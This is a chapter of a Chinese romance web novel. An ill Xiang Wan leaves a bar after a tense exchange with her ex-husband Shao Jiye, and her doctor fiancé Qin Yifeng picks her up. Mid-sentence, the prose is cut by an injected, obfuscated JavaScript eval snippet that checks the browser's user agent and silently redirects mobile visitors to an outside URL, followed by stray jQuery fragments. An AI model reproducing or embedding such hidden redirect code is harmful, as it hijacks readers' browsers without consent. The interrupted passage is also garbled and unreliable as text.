向晚低头看了看自己的裙子,还有脚上的细高跟凉鞋。
她突然有些后悔,早就知道李部长没存什么好心,她还觉得自己做小伏低,让他骂几句出了气之后还能继续谈。
要是李部长一个人还好说,就算谈不成,她也有把握全身而退。
可没想到他还带了其他三个人,四个人**她一个,要不是刚刚她突然发难,摆出一副大不了鱼死网破的气势敲烂了李部长的头,事情恐怕就真没办法收场了。
他们要是再多等一会儿,恐怕都用不着动手,她自己都撑不下去。
察觉到邵寂野的目光落在了自己还在流血的手上,她快速把染着鲜血的手背到了身后。
邵寂野看到她刻意隐藏的动作,也没有戳破,只是沉声问道:“你们什么时候订的婚?”
“……上个月。”向晚迟疑着问道:“说起来,邵总和白荷小姐应该也快要举办婚礼了吧?提前恭喜你,得偿所愿,抱得美人归。”
“恭喜我?以什么身份?”邵寂野的语气略带嘲讽:“前妻?”
向晚顿了顿,说:“总归是认识一场,也算是朋友吧……”
邵寂野直接出言打断了她:“我不缺朋友。”
向晚的笑容僵在脸上,她点了点头:“也是。那……您就当我没说。”
邵寂野定定看着她这一副刻意与自己划清所有界限的模样,心底莫名堵得发闷。
看到她强撑着跟自己虚与委蛇的样子,苍白到仿佛一碰就碎的神情,原本早已到了嘴边准备出口的刻薄嘲讽,全部硬生生卡在喉咙里,一个字都说不出来。
不等他整理好情绪再次开口,向晚的胃部再次传来一阵剧烈的绞痛。
她再也忍不住,猛地弯腰俯身,又是一阵剧烈的呕吐,这一次比刚才更加严重。
浑身力气彻底抽空,整个人虚弱得摇摇欲坠,几乎无法站稳。
邵寂野见状,眉头骤然死死蹙起,眼底刻意伪装的冷漠瞬间碎裂消散,取而代之的是浓重又真切的担忧,再也掩藏不住。
他下意识抬手,微微前倾身子,想要上前半步:“你还好吗……”
就就在这时,向晚口袋里的手机骤然急促响起。
尖锐的铃声骤然打破了两人之间微妙又紧绷的氛围,瞬间拉回所有理智。
来电显示,正是秦以枫。
向晚强撑着直起一点身子,强忍身体翻涌的剧痛与不适,快速抬手接起电话。
听筒那头,秦以枫的声音满是焦急与慌乱,语速急促,语气里是藏不住的担忧与慌张:“晚晚?我刚刚结束紧急手术,一出手术室就看到了你的未接来电!你怎么了?没事吧?”
这几句温柔又急切的关切,温柔又治愈,瞬间击溃了向晚一整晚强行撑住的所有伪装与坚强。
她紧绷了一整晚的情绪骤然彻底崩塌,声音带着清晰明显的哽咽,压抑许久的委屈、疲惫、疼痛尽数翻涌上来,轻声哭了出来,脆弱又无助。
声音也无意识带了些哭腔:“以枫,你快来接我,我真的好难受。”
秦以枫听到她哽咽哭泣的声音,语气愈发焦急,“好,你在哪,我现在就过来。”
听到他温柔急切的嗓音,向晚忍不住哭出了声:“一个叫潮汐的酒吧门口。这里有好多坏人,你快来……”
“你乖乖待在原地,千万不要乱走动,保护好自己,我马上到。”
“嗯。”
向晚轻声软糯的应着,缓缓挂断电话。
泪水却像是断了线的珠子一样滑落。
她用手胡乱抹了一把,可手上原本的血迹也染到了脸上,泪水进入了手背上的伤口里,钻心的疼。
她吸了吸鼻子,扶着行道树蹲了下来,整个人都像是一只受了伤的小猫,紧紧依靠着唯一可以靠的东西。
邵寂野看的眉心紧蹙:“你确定真要在这里等?”
向晚没有回头,只是轻轻说道:“我的未婚夫马上就过来接我了,邵总您去忙您的吧。”
邵寂野沉沉吐出一口气,心里的酸涩再也压制不住。
他沉默两秒,喉间微微滚动,只淡淡吐出一句:“那随你。”
没有多余的质问,没有多余的嘲讽,没有多余的挽留。
他转身抬步,径直离开,背影依旧冷硬挺拔,却褪去了方才所有的戾气,多了几分难以掩饰的沉郁与落寞。
十分钟后。
一辆白色轿车极速疾驰而来,在酒吧门口的路边停下。
秦以枫迅速推开车门,快步从车上奔跑下来,步伐急切慌乱,目光快速扫视路边。
一眼就精准锁定了路边蹲着摇摇欲坠的向晚。
他快步冲到她面前,低头看着她虚弱脱力、近乎站不住的模样,眼底满是心疼与焦急,语气温柔又心疼。
他叹息一声,轻轻问道:“怎么把自己折腾成这个样子?别怕,我来了,没事了。”
向晚看到眼前熟悉又温柔的人,心底所有的坚强与防备彻底卸下,身形一软,毫无支撑的朝着他温暖的怀里倒去,整个人彻底失去了所有力气。
秦以枫眼疾手快,立刻伸出双臂稳稳接住她柔软无力的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580909|202565||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身体,顺势弯腰,小心翼翼、轻柔至极的将她打横抱起。
他低头看着她苍白如纸的脸色,内心的愧疚更深了:“早知道我今天就该跟同事换了晚班的。”
向晚乖乖的窝在他温暖安稳的怀里,眉眼满是极致的疲惫,声音软糯虚弱,带着浓重的哭腔鼻音:“你有你的工作,也不能总围着我转,我明白的。”
秦以枫心痛的不行,把她又往怀里搂了搂:“你是跟人约好了出来谈合作吗?怎么……穿这么少?”
这件事说来话长。
向晚也不想现在解释。
她伸出手臂勾住他的脖子,轻声撒娇:“以枫,我想回家。”
“好,我们立刻回家,现在就走。”
秦以枫轻声温柔安抚,语气宠溺又心疼,步步小心的抱着她转身走向车边。
就在两人即将走到车旁的瞬间,一道纯黑的光影骤然从侧边车道极速疾驰而过,是一辆顶配黑色玛莎拉蒂。
车速极快,呼啸破空而过,带起一阵强劲凛冽的夜风。
车子速度快得惊人,堪堪擦着路边飞驰而过,惊险至极,吓得秦以枫下意识侧身,牢牢护住怀中的向晚。
他眉头紧紧蹙起,眼底满是不满与愠怒:“现在的富二代真是没分寸,深夜闹市人流量这么大,也敢开这么快,太危险了。”
向晚闭上眼睛,在他怀里找了个舒服的姿势闭眼休息:“别管他了,以枫,我冷。”
“乖,先上车,我开暖风就不冷了。。”
“嗯。”
秦以枫轻轻将向晚安稳安置在车后座,细心的替她调整好最舒适的躺卧姿势,缓缓放低座椅靠背,又脱下自己身上的外套,轻轻盖在她虚弱冰凉的身上。
向晚浑身无力,微微闭着双眼,安稳又乖巧的窝在柔软的座椅里。
他身上有淡淡的消毒水气味。
做医生的,身上总是有这个味道,干净凛冽。
可不知怎么的,向晚突然想起来,刚刚她问到的味道不是这样的,是薄荷味,还混杂着烟草味。
秦以枫从来不抽烟的啊。
那是……
对了,是邵寂野。
她微微睁开眼,回想着刚刚跟他偶遇的场景。
邵寂野又开始抽烟了啊。
之前不是都说戒了么。
不过他现在也不归她管了,他有白荷,只要白荷无所谓,那就没问题。
秦以枫细心关好后座车门,快步回到驾驶座位置,迅速发动车辆。
车身平稳起步,稳稳驶离喧嚣的酒吧门口,朝着家的方向平稳开去。